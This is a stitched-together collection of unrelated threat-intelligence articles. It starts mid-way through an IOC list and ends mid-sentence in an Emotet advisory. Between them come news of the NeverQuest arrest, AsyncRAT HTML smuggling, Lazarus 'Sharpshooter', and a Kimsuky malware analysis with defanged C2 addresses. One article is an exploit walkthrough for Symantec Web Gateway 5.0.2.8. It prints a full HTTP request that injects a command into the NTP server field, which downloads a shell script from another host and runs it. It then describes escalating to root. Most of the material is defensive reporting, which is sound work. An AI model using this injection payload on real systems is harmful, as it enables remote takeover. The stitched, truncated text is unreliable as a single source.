0cc49097778372fdf1ba2143e31a8f235342f9c9 **Sunbird** - 9b684cff07f98083bdb085cb846929ebca2c3df1 - 2ecb5b88b12ba44cfce2f51df7f16fbd4754aea2 - 665d23eda84cd008ccde013bde6a836976bcc4fc - a38931d68b26f04a94241f2155bcbf465b3fa99a - df5188225ab6de0a6e71635e997c4473c02d6527 - e01729e5ceb827318e5198a24a12ae6d6bbc4ab3 - 8ae67888befb4f01f216d94f07051fc047150ceb - 41268c45dc2453469ea8a0a0c615bdb562d1d9de - a4161cfe2d6146566094ee979ea893cd2fe3ae72 - 03d199cff2be8667932933d1bcb6bb58d364545a - fc2929a021ca1e83f0d87ca9c9c85df0057373e5 - a6128100cd9c505e12af16a163d4fea35c42808a - 6b75e6df7744a232a350658ad06e9574483a0b8b - be524a5a42b4b3f48f5571311f9be683024b6939 ### SHA-256 Hashes – Confucius - 8b535452727edf06280c495b190c10eb0a90522fad1c61cae8bfeef9b84a4879 - 8ecf1c276e10e3f3e9f7bc9e728fde9abea23348a2af6ce70269008d632a412d - 3ce48f371129a086935b031333387ea73282bda5f22ff78c85ee7f0f5e4625fe - 1c41a03c65108e0d965b250dc9b3388a267909df9f36c3fefffbd26d512a2126 - 07277c9f33d0ae873c2be3742669594acc18c7aa93ecadb8b2ce9b870baceb2f - ea52d6358d53fc79e1ab61f64cb77bb47f773f0aa29223b115811e2f339e85f5 - 686847b331ace1b93b48528ba50507cbf0f9b59aef5b5f539a7d6f2246135424 - 2f5fc653550b0b5d093427263b26892e3468e125686eb41206319c7060212c40 - b9b5a9fa0ad7f802899e82e103a6c2c699c09390b1a79ae2b357cacc68f1ca8e - 4500851dad1ac87165fc938fe5034983c10423f800bbc2661741f39e43ab8c8d - a3cd781b14d75de94e5263ce37a572cdf5fe5013ec85ff8daeee3783ff95b073 - 59ccfff73bdb8567e7673a57b73f86fc082b0e4eeaa3faf7e92875c35bf4f62c - 59cd62ad204e536b178db3e2ea10b36c782be4aa4849c10eef8484433a524297 ### Command and Control Infrastructure **Hornbill** - pieupdate[.]online - chatk.goldenbirdcoin[.]com - cucuchat[.]com - 184.154.203[.]90 - 69.175.35[.]98 - samaatv[.]online - tea-time[.]link **Sunbird** - data10.000webhostapp[.]com - global134.000webhostapp[.]com - wixten.000webhostapp[.]com - sunshinereal.000webhostapp[.]com - 23.82.19[.]250 **Confucius** - mlservices[.]online - msoffice.user-assist[.]site - wordupdate[.]com ## About Cyble: Cyble is a global threat intelligence SaaS provider that helps enterprises protect themselves from cybercrimes and exposure in the dark web. Its prime focus is to provide organizations with real-time visibility to their digital risk footprint. Backed by Y Combinator as part of the 2021 winter cohort, Cyble has also been recognized by Forbes as one of the top 20 Best Cybersecurity Startups to Watch In 2020. Headquartered in Alpharetta, Georgia, and with offices in Australia, Singapore, and India, Cyble has a global presence. To learn more about Cyble, visit www.cyble.io.
# Russian Hacker behind 'NeverQuest' Malware, Wanted by FBI, Is Arrested in Spain A Russian computer hacker wanted by the FBI on hacking allegations was arrested and jailed in Spain earlier this week, while a decision on his extradition to the United States has yet to be made. The Guardia Civil, Spanish law enforcement agency officers, have detained 32-year-old Stanislav Lisov at Barcelona–El Prat Airport based on an international arrest warrant issued by Interpol at the request of the FBI. Lisov is arrested on suspicion of creating and operating the NeverQuest Banking Trojan, a nasty malware that targeted financial institutions across the world and caused an estimated damage of $5 million. The arrest was made after U.S. intelligence agencies found that Russian hackers were behind the November 2016 election hacks that possibly influenced the presidential election in Donald Trump's favor. However, Spanish police made an official statement, saying that the FBI had requested the arrest of Lisov after an investigation that started in 2014. NeverQuest banking trojan provided fraudsters access to computers of people and financial institutions to steal banking data. The Trojan, which spreads itself via social media, email, and file transfer protocols, can modify content on banking websites and inject rogue forms into these sites, allowing attackers to steal login credentials from users. NeverQuest can also allow malicious attackers to take control of a compromised computer through a Virtual Network Computing (VNC) server and then use those computers to log into the victim's online bank and perform the theft. "A thorough investigation of the servers operated by Lisov in France and Germany revealed databases with stolen lists of information from accounts of financial institutions, with data indicating, among other things, account balances," the Spanish Civil Guard said Friday. "One of the servers leased by Lisov contained files with millions of login credentials, including usernames, passwords, and security questions and answers, for the bank and financial website accounts." Lisov reportedly works as a systems administrator and website developer for a local company in Taganrog, Russia. The Russian hacker is being held under observation by authorities in the northeastern region of Catalonia before Spain's High Court decides whether to extradite him to the United States.
# Suspected AsyncRAT Delivered via ISO Files Using HTML Smuggling Technique Adversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain, and respond to threats within minutes. We have discovered some of the most dangerous threats and nation-state attacks in our space – including the Kaseya MSP breach and the more_eggs malware. In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We outline how we responded to the confirmed threat and what recommendations we have going forward. Here’s the latest from our TRU Team… ## What did we find? An attempt to deliver malware using an HTML file that had an embedded disk image file (.iso) containing VBS and PowerShell commands. HTML Smuggling is a defense evasion technique where malicious code is embedded within HTML files and unknowingly extracted by a victim using their web browser. In this recent incident, the final payload failed to download, and we were unable to retrieve a copy while analyzing this event. The activity described below aligns with observations in January 2022 where AsyncRAT was delivered using HTML files containing malicious VBS files within a disk image file (.iso). Furthermore, the characteristics involving file name patterns and PowerShell traits align closely with an activity cluster labeled as Coral Crane. The event, identified in mid-March, involved the following stages: 1. The victim received an email containing “order_receipt.html”. 2. The victim opened the HTML file using their web browser and was prompted to download a randomly named .iso file. 3. The .iso file was mounted and opened in Windows file explorer, and a Visual Basic file was presented to the victim. 4. When opened by the victim, the VBS file was executed by Windows Script Host, and a PowerShell command attempted to download the next stage payload from `https://www[.]asterglobal[.]com/.Fainl.txt`. ## How did we find it? Our Machine Learning PowerShell classifier detected malicious code execution resulting from the victim manually executing the malicious VBS file. ## What did we do? Our 24/7 SOC cyber analysts alerted the customer and responded on the client’s behalf by successfully isolating the host. ## What can you learn from this TRU positive? The HTML smuggling technique makes detection through content filters difficult since payloads are embedded within a local HTML file and not retrieved over the network. Further complicating detection is the use of an .iso file within the HTML to hide the payload until mounted by the victim. Our observations of adversaries using disk image files for code delivery is increasingly common. In February, TRU identified an IcedID campaign delivered using .iso images. Malware embedded inside of .iso files may evade security controls and is a known technique for bypassing the Mark-of-the-Web trust control. Early detection of this evasive malware delivery method will be crucial to limiting impact. ## Recommendations from our Threat Response Unit (TRU) Team: - Display file extensions for known file types and consider showing hidden files to users by default. - Conduct Phishing and Security Awareness Training (PSAT) on a regular basis with your employees, placing a special emphasis on spotting business email compromise (BEC) attacks. Warn users about the threat posed by .html and image files (.iso) attached or hyperlinked in emails. - Create new “Open With” parameters for script files (.js, .jse, .hta, .vbs) so they open with notepad.exe. This setting is found in the Group Policy Management Console under User Configuration > Preferences > Control Panel Settings > Folder Options. By default, these script files are executed automatically using Windows Script Host (wscript.exe) or Microsoft HTML Application host (mshta.exe) when double-clicked by a user. - Since .iso files are mounted as a drive when double-clicked by users by default, consider deregistering this file extension in Windows File Explorer. ## Ask Yourself 1. What level of visibility do you have across your network, endpoint, and overall environment to detect malicious behavior at scale? 2. What tools are you employing for email filtering and how is that activity monitored? 3. What level of managed endpoint support do you have in place? 4. Are you monitoring your endpoints 24/7 and what degree of control do you have to initiate a kill switch when required? ## Indicators of Compromise - `dca4d47ed0714d3ab9e4ef17192f7f1d` - “Order_Receipt.html” - `https://www[.]asterglobal[.]com/.Fainl.txt` - Location for payload retrieved by PowerShell command If you’re not currently engaged with a Managed Detection and Response provider, we highly recommend you partner with us for security services in order to disrupt threats before they impact your business.
# ABSTRACT This document describes the steps I took to find RCE in Symantec Web Gateway (5.0.2.8). Reader will be able to reproduce all of the steps and create an attack inside his/her own controlled VM environment. by Cody Sixteen # HUNTING 0DAYS ## Intro "Hunting 0days" is a small series of articles created as a step-by-step guide where I’m trying to describe how I found a real-life bug(s) that can – and will – lead to remote code execution. In this document, we will talk about the RCE vulnerability I found in Symantec Web Gateway (v.5.0.2.8) during an after-hour research (26.03.2020). The described bug is available for authorized users only (so-called post-auth; in default installation, we will talk about the user called admin). Below you will find the details. In case of any questions – you know how to find me. Enjoy and have fun! Cody Sixteen ## Environment This time our environment will be based on Symantec Web Gateway VM. To prepare an attack scenario, I used two virtual machines: - Symantec Web Gateway VM (5.0.2.8) – default installation - Kali Linux – with my tools and scripts; used as a jumphost From a 3rd machine – my Windows 10 (host) – I was using Burp Suite to intercept the request. With all the settings prepared – we are now ready to go! ## Results When you’re a logged-in user, it should be pretty easy to run your own code according to our previous adventures. Let’s go directly to the console: As you can see, I decided to go directly to the webroot of Symantec Web Gateway to grep for some known vulnerable PHP functions in the files inside the directory. I found multiple vulnerable places, but today we will check the `continueConfig.php` file. It looks like a very good example. To prepare your own request (presented below), go to the Administration -> Configuration and then click the Time tab. It will let you configure the NTP server. Let’s verify in the VM’s console if the file was created: Yes! So our next step should be to get a reverse shell. I tried the same approach as we saw before, but there was a little surprise for me from the Vendor. So I tried something else. On the Kali VM, I prepared a one-liner and started `python -m SimpleHTTPServer 80` to wait for WebGateway’s request. Full request to the application is presented below: ``` POST /spywall/timeConfig.php HTTP/1.1 Host: 192.168.216.133 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 146 Origin: https://192.168.216.133 Connection: close Referer: https://192.168.216.133/spywall/timeConfig.php Cookie: PHPSESSID=8f076c1f7bac2b403cf39711fd301533 Upgrade-Insecure-Requests: 1 posttime=1585228657&saveForm=Save&timesync=1&ntpserver=qweqwe.com;$(wget%20http://192.168.1.170/a.sh%20-O%20/tmp/a.sh;sh%20/tmp/a.sh);#&timezone=5 ``` Your results should be similar to those presented on the screen below: Well. Great but not the best. Don’t worry, the Vendor is always prepared for support, so let’s check what’s inside sudo. Results presented on the next screen: As you can see, there are multiple ways to achieve root access now. I decided to use crontab. Looks like this is IT! Done. ## Summary In this short document, I tried to present you one of the possible ways of gaining root shell access to Symantec Web Gateway 5.0.2.8. Functionality described in this document is only available for authorized users. If a logged-in user is able to prepare and store his/her own script or code to run on a remote machine – the code will be executed with the webserver privileges on the system. Because of improper configuration, the webserver user (apache) can use OS tools to gain root level access. I hope this paper will help you understand that user input should be filtered in all cases. See you next time! Cheers, Cody ## Resources Below you will find resources used/found when I was creating this document: 1. Mini arts series 2. Bugs in NagiosXI 3. RCE in ManageEngine 4. Official Blog 5. Vulnerable PHP functions 6. PayloadsAllTheThings 7. @CodySixteen
# 'Sharpshooter' Connected to North Korea's Lazarus Group By Ionut Ilascu March 3, 2019 After analyzing code from a command and control (C2) server used in the global cyber-espionage campaign dubbed 'Sharpshooter', security researchers found more evidence linking it to North Korea's Lazarus threat actor. The assessment was possible with the help of a government entity and revealed that the operation is broader in scope, more complex, and older than initially thought. ## The North Korean connection To hide their true location, the threat actor used the ExpressVPN service that showed connections to the web shell (Notice.php) on a compromised server coming from two IP addresses in London. However, the IP addresses are rarely a reliable indicator of the attacker's origin or for attribution. The connection to the Lazarus group was obvious by inspecting the tools, strategies, and methods already linked to the North Korean actor. For instance, Rising Sun was observed in attacks before the discovery of 'Sharpshooter' and shared the tactics, techniques, and procedures (TTPs) seen in operations attributed to the Lazarus group. The three variants of the backdoor (v1.0, v1.1, and v2.0) indicate a clear evolution from Duuzer, used by Lazarus, as they all include its core capabilities. "These [Rising Sun] implants were all based on the original Backdoor Duuzer source code," the researchers say in their report. The high similarity of the fake job recruitment campaigns both groups used to disguise their attacks, and the fact that Lazarus relied on similar versions of Rising Sun in activity tracked in 2017, point to a connection between the two adversaries. ## Malicious components in the framework Analyzing the code and data from the C2, Ryan Sherstobitoff and Asheer Malhotra from McAfee, along with the company's Advanced Threat Research Team (ATR), discovered new variants of the Rising Sun backdoor that were used since at least 2016. "The server was used to distribute and infect victims with an upgraded version of Rising Sun with SSL capabilities," informs a report shared with BleepingComputer. The rare opportunity to examine Sharpshooter's backend operations allowed the researchers to create a fuller picture of the activity and interaction between the various tools used by the threat actor. Getting access to the C2 information helped the researchers get a clear view of the attacker’s operations and utilities. It also provided sufficient details to quickly improve detection of malicious activity from this threat by uncovering new tools otherwise hidden by obfuscation techniques. An alternative method for discovering them is by analyzing network packets, which is more difficult and requires more time. Another finding in the activity of 'Sharpshooter' were a set of unobfuscated connections from IP addresses in Windhoek, a city in Namibia, Africa. One explanation for this could be that they used the region as a test zone; another would be that the threat actor runs the operation from those locations, although it could also be a false flag meant to point the researchers on the wrong path. When 'Sharpshooter' was first discovered, it was believed that the operation started in October 2018. However, a log file on the server indicates that the C2 framework has been active since at least September 2017, and probably "hosted on different servers over time." The threat actor was first detected towards the end of last year when it attacked at least 87 organizations around the world in two months' time. Its activity is ongoing. McAfee researchers will present their findings at this year's RSA security conference in San Francisco. ## About the Author Ionut Ilascu is a technology writer with a focus on all things cybersecurity. The topics he writes about include malware, vulnerabilities, exploits, and security defenses, as well as research and innovation in information security. His work has been published by Bitdefender, Netgear, The Security Ledger, and Softpedia.
# Kimsuky Group Uses AutoIt to Create Malware (RftRAT, Amadey) **By Sanseo** **December 8, 2023** ## Overview The Kimsuky threat group, deemed to be supported by North Korea, has been active since 2013. Initially, they targeted North Korea-related research institutes in South Korea before attacking a South Korean energy corporation in 2014. Since 2017, they have also targeted countries other than South Korea. The group typically employs spear phishing attacks against the national defense sector, defense industries, the press, the diplomatic sector, national organizations, and academic fields to steal internal information and technology from organizations. Recently, the Kimsuky group has been using spear phishing attacks to gain initial access, utilizing more LNK shortcut-type malware instead of malware in Hangul Word Processor (HWP) or MS Office document formats. The threat actor leads users to download a compressed file through attachments or download links within spear phishing emails. When this compressed file is decompressed, it yields a legitimate document file along with a malicious LNK file. ASEC is monitoring the Kimsuky group’s attacks using LNK-type malware and continuously posting identified cases of attacks on the ASEC Blog. The Kimsuky group installs remote control malware to control the infected system after gaining initial access. Malware used by the Kimsuky group includes custom-made malware such as AppleSeed and PebbleDash, as well as open-source or commercial malware like XRat, HVNC, Amadey, and Metasploit Meterpreter. After gaining control, the threat actor ultimately uses RDP or installs Google’s Chrome Remote Desktop to exfiltrate information from the infected system. This analysis covers Amadey and RftRAT, which were recently found being distributed. Amadey and RftRAT were constantly used throughout 2023 alongside XRat. However, recent variants showed that they were created with AutoIt. This post also covers Infostealers additionally installed by the Kimsuky group using remote control malware. While remote control-type malware continuously change, the malware installed through these have not changed much in the attacks in 2023. ## Initial Access ### Spear Phishing Attack In 2023, ASEC covered cases of LNK malware distribution in posts such as “Malicious LNK File Disguised as a Normal HWP Document,” “Malicious LNK File Being Distributed, Impersonating the National Tax Service,” and “Distribution of Malicious LNK File Disguised as Producing Corporate Promotional Materials.” By attaching files or including download links in the emails, the threat actor prompted users to download the compressed file and execute the LNK shortcut file inside. ### LNK Malware The LNK file contains an encrypted compressed file, which holds various malware in script format. Executing the LNK file decompresses the file, and ultimately, the script malware is run. The BAT and VBS scripts inside can either be used for executing other scripts or contain an Infostealer responsible for collecting and exfiltrating information from the infected system. There is also a script for maintaining persistence as well as a downloader that downloads and executes additional payloads from an external source. Malware in script format that runs in infected systems installs additional malware from an external source, major examples of which are backdoors called XRat, Amadey, and RftRAT. While these malware are all packed with VMP when in distribution, recently, Amadey and RftRAT variants created with AutoIt have been used. After a remote control malware is installed, keyloggers and Infostealers are installed to steal internal information and technology from the organizations. ## Remote Control Malware ### XRat (QuasarRAT) XRat is a RAT malware developed in .NET and was created based on QuasarRAT published on GitHub. It was confirmed that the Kimsuky group was using XRat from an earlier point in time. Recently, instead of in independent executable or DLL file formats, it is being used in attacks as an encrypted payload. It consists of the file “ht.dll,” which is the loader, the data file “htsetting.ini” holding the configuration data, and an encrypted payload. This method seems to be for the purpose of bypassing security products. The loader reads, decrypts, and injects the htsetting.ini file located in the same path. All ht.dll loaders identified so far were packed with VMP, and the decrypted binary contained strings used by the threat actor. The configuration file contains the name of the actual encrypted malware, the RC4 decryption key, and information on the legitimate file to inject into. Ht.dll references this information to read and decrypt the encrypted file before injecting it into a legitimate process. The payload that is injected and run in the end can be another malware besides XRat, depending on the encrypted file. ### Amadey The Kimsuky group also used Amadey Bot in their attacks. Amadey is a malware that began being sold on illegal forums. It is a downloader that installs additional malware from the C&C server. Besides such downloader features, it can also transmit basic information about the system or exfiltrate screenshots and account credentials saved in web browsers and email clients depending on the settings or whether certain plugins are installed. The Kimsuky group uses a dropper to install Amadey. This dropper, in DLL format, creates a randomly named hidden folder in the %PUBLIC% path where it drops the files it holds. The compressed file containing the actual Amadey is among the created files, and examining the compression size shows this file to be large, exceeding 300 MB. This is also presumed to be an attempt to evade security products by intentionally increasing the size. Afterward, it creates the path “%ALLUSERSPROFILE%\Startup” and registers it to the Startup folder. Here, a script named “svc.vbs” is created, which is responsible for maintaining persistence. Amadey, which is loaded and executed through the Rundll32.exe process, goes through svchost.exe before being injected into the iexplore.exe process. Even in 2023, the threat actor installed Amadey in many of their attacks, and in most instances, it was installed by the same type of dropper. This dropper also included RftRAT besides Amadey. RftRAT, like Amadey, also has a file size exceeding 300 MB. The RftRAT instances identified in these attacks were all packed with VMP like Amadey and were found to contain the keyword “RFTServer” in the decrypted strings. RftRAT is a backdoor that can receive commands from the C&C server and execute them. ### Latest Attack Cases It was recently identified that the Kimsuky group has been using AutoIt to create malware. The Kimsuky group ported Amadey, which had been used from the past, to AutoIt and also used it for the purpose of injecting RftRAT. In past attack cases, only the debug string RFTServer was found, but in recent attacks, a malware containing a PDB path was found. The string within the PDB path shows that the threat actor named this malware “rft” as a RAT type. Accordingly, said malware is categorized as “RftRAT” here. #### AUTOIT AMADEY As covered above, Amadey is one of the malware that has been constantly used by the Kimsuky group. The version of Amadey used by the Kimsuky group is different from the type used by other threat actors: Kimsuky group’s Amadey uses Domain Generation Algorithms (DGA), and when it scans for antivirus software installed in the infected system, it also searches for product names from South Korean companies. The recently identified Amadey is ported into the AutoIt language and has the same format as the types identified in past attack cases. The threat actor installed both a legitimate AutoIt executable file and a compiled AutoIt script in the infected system. The compiled AutoIt script is 100 MB in size for the purpose of hindering analysis and contains dummy data. Although written in a different language, the decrypted AutoIt script can be considered to be the Amadey malware. The HTTP request structure for sending the system information collected from the infected system to the C&C server is identical to that of the typical Amadey. Besides this, it also has a routine for checking for products from South Korean companies when retrieving the list of antivirus products installed in the infected system. Furthermore, it supports the feature to download additional payloads in not only an exe format, but also dll, PowerShell, vbs, and js formats. As mentioned above, the Amadey used by the Kimsuky group supports DGA. DGA dynamically generates a domain (C&C server address) instead of a fixed form. After dynamically obtaining the C&C server address based on the date, the Kimsuky group used this as a subsidiary C&C server. When the connection to the C&C server was down, the subsidiary C&C server generated through DGA was used for communication. ### RFTRAT The AutoIt scripts used in the attacks include Amadey and RftRAT. The AutoIt executable file and the malicious AutoIt script are also created through a dropper. The following ASD log shows the execution log of “d015700.dll,” which is the dropper that installs RftRAT, and the log showing RftRAT ultimately creating an Infostealer after being injected into svchost.exe. Additionally, AppleSeed, another malware used by the Kimsuky group, was additionally installed in the same system afterward. The RftRAT used in previous attacks is in DLL format and packed in VMP, so an exact comparison is difficult. However, it was categorized into the past version of RftRAT due to the fact that the same library file is used, that ICMLuaUtil is used to bypass UAC, and that the path names used for saving C&C communication and command results are almost the same. The compiled AutoIt script is similar to the Amadey in the case above, but it is actually an injector that executes svchost.exe and injects RftRAT into it. The ultimate payload RftRAT cannot be executed independently. Data must be read in from a mapped file named “A1CCA2EC-C09F-D33C-4317-7F71F0E2A976_0.” The injector AutoIt script writes the paths of the AutoIt executable file and script into this file. The transmitted paths of the AutoIt executable file and script are used later on in the UAC bypassing stage. RftRAT uses the ICMLuaUtil interface of the CMSTPLUACOM component to bypass UAC and execute itself as administrator. After being run as administrator, RftRAT collects basic information about the infected system and sends it to the C&C server. Afterward, it receives commands from the C&C server. RftRAT writes the received commands to the path “%APPDATA%\asc\t1.pb” before decrypting them. Decryption yields the actual commands, which are written to the same file and reread to be executed. The command, the execution results, and the additionally downloaded file are created in the specified paths. ## Post-infection After taking control of the infected system, the Kimsuky group installs various malware such as keyloggers and tools for extracting accounts and cookies from web browsers. The group also installs Mimikatz and RDP Wrapper, which have both been steadily used for many years. ### Keylogger The keylogger is usually installed in the path “%ALLUSERSPROFILE%\startup\NsiService.exe.” It persists in the system and monitors key input from the user, which is saved in the path “%ALLUSERSPROFILE%\semantec\av\C_1025.nls” or “%ALLUSERSPROFILE%\Ahn\av\C_1025.nls.” Additionally, “%ALLUSERSPROFILE%\semantec” is a folder where the keylogger is installed, along with various malware covered in this article. ### Infostealer Malware for collecting information from web browsers were created in the “%ALLUSERSPROFILE%\semantec\” path under the names “GBIA.exe,” “GBIC.exe,” “GBS.exe,” and “GPIA.dll.” While most target account credentials and cookies saved in web browsers, there are types that collect files in the “Local Extension Settings” path, which is the configuration data related to Chrome extensions. Besides these, the tool named “GPIA.exe” looks up all paths in the infected system and displays the files in each folder. Because the file containing the paths of all files is naturally large, it also allows this file to be split-compressed. ### Other Types A notable fact about the Kimsuky group is that it often abuses RDP for information theft. Accordingly, it either installs RDP Wrapper or uses a patcher malware for multiple sessions. Recently, there was a discovery of a malware that monitors the login records of the user. This seems to be for the purpose of finding out when the user logs in to use RDP to connect during idle times. The file “taskhosts.exe” installed in the path “%ALLUSERSPROFILE%\semantec\” is an injector that injects “ipcheck.dll” into the “explorer.exe” and “runtimebroker.exe” processes. “ipcheck.dll” monitors the user’s log-on/log-off activities by hooking the “WinStationQueryInformationW()” and “ExitWindowsEx()” functions and the log is saved in the path “%PUBLIC%\Log64.txt.” The threat actor also used proxy malware. Proxy tools in the past were run by receiving command line arguments, but the type used by Kimsuky reads and uses a configuration file named “setting.ini.” The port number 3389 configured in the default address indicates that it is likely to establish an RDP connection to a private network. ## Conclusion The Kimsuky threat group is continuously launching spear phishing attacks against South Korean users. Recently, malicious LNK files have been distributed to South Korean users with various topics, so users are advised to practice particular caution. The group usually employs the method of distributing malware through attachments or download links in emails. When a user executes them, the threat actor may be able to take control of the system that is currently in use. The Kimsuky group has been newly creating and using various malware to control infected systems and steal information. Recently, the group has been using AutoIt to create malware to bypass security products. Users must carefully check the senders of emails and refrain from opening files from unknown sources. It is also recommended to apply the latest patch for OS and programs such as Internet browsers and update V3 to the latest version to prevent such malware infection in advance. ## File Detection - Downloader/Win.Amadey.R626032 (2023.11.30.00) - Backdoor/Win.Agent.R626033 (2023.11.30.00) - Downloader/Win.Amadey.C5462118 (2023.07.28.03) - Trojan/AU3.Loader (2023.11.22.01) - Dropper/Win.Agent.C5542993 (2023.11.17.02) - Trojan/Win.Agent.C5430096 (2023.05.20.00) - Infostealer/Win.Agent.R622445 (2023.11.17.02) - Downloader/Win.Amadey.C5479015 (2023.08.31.01) - Trojan/Win.Agent.C5485099 (2023.09.11.03) - Trojan/Win.Agent.C5479017 (2023.08.31.01) - Trojan/Win.Loader.C5479014 (2023.08.31.01) - Trojan/Win.Agent.C5465186 (2023.11.30.00) - Infostealer/Win.Agent.C5542999 (2023.11.17.02) - Infostealer/Win.Agent.C5542997 (2023.11.17.02) - Trojan/Win.Agent.C5451959 (2023.11.30.00) - Trojan/Win.Agent.Prevention.C5446554 (2023.11.30.00) - Trojan/Win.Agent.R589022 (2023.06.28.02) - Trojan/Win.Loader.R588248 (2023.11.30.00) - Trojan/Win.Agent.C5444839 (2023.11.30.00) - Trojan/Win.Stealer.C5441397 (2023.11.30.00) - Trojan/Win.KeyLogger.C5430090 (2023.05.20.00) - Malware/Win.Generic.C5430065 (2023.11.30.00) - Trojan/Win.Stealer.R579484 (2023.05.20.00) - Trojan/Win.Loader.C5430091 (2023.05.20.00) - Trojan/Win.KeyLogger.C5430092 (2023.05.20.00) - Trojan/Win.Loader.C5430099 (2023.05.20.00) - Trojan/Win.Proxy.C5430093 (2023.05.20.00) - Trojan/Win.Agent.C5430095 (2023.05.20.00) ## Behavior Detection - Persistence/MDP.AutoIt.M4766 - Injection/MDP.Hollowing.M4767 ## IOC **MD5** - f5ea621f482f9ac127e8f7b784733514 : RftRAT Dropper – AutoIt (d009086.dll) - 7b6471f4430c2d6907ce4d349f59e69f : Amadey – AutoIt Script (adal.au3) - 14a7f83d6215a4d4c426ad371e0810a2 : RftRAT – AutoIt Script (run.au3) - 74d5dac64c0740d3ff5a9e3aca51ccdf : RftRAT – AutoIt Script (chkdisc.au3) - a7c9b4d70e4fad86598de37d7bf1fe96 : RftRAT – AutoIt Script (run.au3) - 32696d9e1e72affaf8bc707ab271200d : Loader (ht.dll) - 4b667f7ea5bdc9d872774f733fdf4d6a : Loader (ht.dll) - 7f582f0c5c9a14c736927d4dbb47c5fa : Loader (ht.dll) - 94aef716b23e8fa96808f1096724f77f : Loader (ht.dll) - 0786984ab46482637c2d483ffbaf66dc : Loader (ht.dll) - 1f63ce3677253636a273a88c5b26418d : Loader (ht.dll) - 6f7cd8c0d9bfb0f97083e4431e4944c1 : Amadey Dropper (10.dll) - 4fc726ab835ce559bada42e695b3d341 : Amadey Dropper (11.dll) - 0fc1c99fd0d6f5488ab77e296216c7c6 : Amadey Dropper (10.dll) - f9c4d236b893c0d72321a9210359f530 : Amadey (svc4615.dll) - e22336eaf1980d2be5feed61b2dbc839 : Amadey (svc7014.dll) - 862a855557cc274ab86e226e45338cff : Amadey (mtms2883.dll) - 0f5762be09db44b2f0ccf05822c8531a : Amadey (ad53.dat) - c87094e261860e3a1f70b0681e1bc8c5 : Amadey (ad54.dat) - bac7f5eefe6a67e9555e93b0d950db59 : Amadey (d021999.dll) - c5a1305aba22c8fedd6624753849905b : Amadey (mtms02.dat) - 068d395c60e32f01b5424e2a8591ba73 : Amadey (adal66.dat) - f3caa0f922600b4423ebcb16d7ea2dc6 : RftRAT Dropper (_e2.dll) - 355817015c8510564c6ac89c976f2416 : RftRAT Dropper (_d2.dll) - d541aa6bae0f8c9bd7e7b6193b52e8f2 : RftRAT Dropper (d010943.dll) - 093608a2d6eb098eb7ea917cc22e9998 : RftRAT Dropper (30.dll) - f76cde928a6eda27793ade673bcd6620 : RftRAT (msc1439.dll) - aaa42b1209ed54bfcbd2493fe073d59b : RftRAT (mtms1929.dll) - 1003a440c710ddf7faa1a54919dd01d8 : RftRAT (rtm8668.dll) - b67e6e4c16e0309cfc2511414915df15 : RftRAT (cmms1106.dll) - 4d4d485d3bfd3cbc97ed4b9a671f740f : RftRAT (cmms2366.dll) - cf3440fa165e3f78d2a2252a6924f702 : RftRAT (mtms7794.dll) - c55da826e50e2615903607e61968778f : RftRAT - d070cf19b66da341f64c01f8195afaed : RftRAT (r2.dat) - e665a985f71567f24a293ea430aad67d : RftRAT (r2.dat) - c52410ed6787c39db87c4158e73089d4 : RftRAT (r1.dat) - 1ac0b0da11e413a21bec08713e1e7c59 : RftRAT (40.dat) - 39e755c08156123e4cabac6bf8d1fd3a : RftRAT (a2.dat) - 187aa9b12c05cd1ff030044786903e7e : KeyLogger (NsiService.exe) - b1337eb53b21594ac5dbd76138054ffb : KeyLogger (NsiService.exe) - d820ddb3026a5960b2c6f39780480d28 : KeyLogger (NsiService.exe) - 5c2809177bb95edc68f9a08a96420bb7 : Stealer – Web browser (GBIA.exe) - 0bf558adde774215bb221465a4edd2fe : Stealer – Web browser (GBIA.exe) - aa2cf925bae24c5cad2b1e1ad745b881 : Stealer – Web browser (GPIA.dll) - baa058003bf79ba82ac1b744ed8d58cb : Stealer – Chrome extension (GBS.exe) - 38182f1f0a1cf598295cfbbabd9c5bf4 : Stealer – File path (GPIA.exe) - 272c29bf65680b1ac8ec7f518780ba92 : Stealer – File path (GPIA.exe) - e860dac57933f63be9a374fb78bca209 : Proxy (svc.exe) - e96ca2aa7c6951802e4b17649cc5b581 : Injector (taskhosts.exe) - 4eddf54757ae168450882176243d2bd2 : Injector (sihosts.exe) - 119063c82373598d00d17734dd280016 : LogonMon (ipcheck.dll) ## C&C - hxxps://prohomepage[.]net/index.php : Amadey – AutoIt Script - 45.76.93[.]204:56001 : RftRAT – AutoIt Script - 91.202.5[.]80:52030 : RftRAT – AutoIt Script - 192.236.154[.]125:50108 : RftRAT – AutoIt Script - hxxp://brhosting[.]net/index.php : Amadey - hxxps://topspace[.]org/index.php : Amadey - hxxps://theservicellc[.]com/index.php : Amadey - hxxps://splitbusiness[.]com/index.php : Amadey - hxxps://techgolfs[.]com/index.php : Amadey - 23.236.181[.]108:52390 : RftRAT - 152.89.247[.]57:52390 : RftRAT - 172.93.201[.]248:8083 : RftRAT - 172.93.201[.]248:52390 : RftRAT - 209.127.37[.]40:52390 : RftRAT Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information.
# Emotet Activity Identified ## THE THREAT As of November 15th, 2021, multiple sources have observed activity associated with the Emotet malware. This activity includes malware delivery through email and existing infections. Successful Emotet payload execution has not been observed across customers at this time. The Threat Intelligence team assesses with medium confidence current campaigns are focused on re-establishing botnet infrastructure following law enforcement's action to take down the botnet in January 2021. Email delivery techniques and payload execution remain consistent or similar to past Emotet infections. The eSentire Threat Intelligence team assesses, with medium confidence, Emotet’s email campaigns will continue. ## What we’re doing about it - eSentire MDR for Network and Endpoint have rules in place to detect Emotet. - IP addresses associated with Emotet have been blocked via MDR for Network. - Threat hunting has been performed for all eSentire MDR for Endpoint customers. - eSentire security teams are tracking this threat for additional detection and prevention opportunities. ## What you should do about it ### Employ email filtering and protection measures - Block or quarantine email attachments such as EXEs, Password Protected Zip archives, JavaScript, Visual Basic scripts. - Implement anti-spoofing measures such as DMARC and SPF. - Employ an MFA solution to reduce the impact of compromised 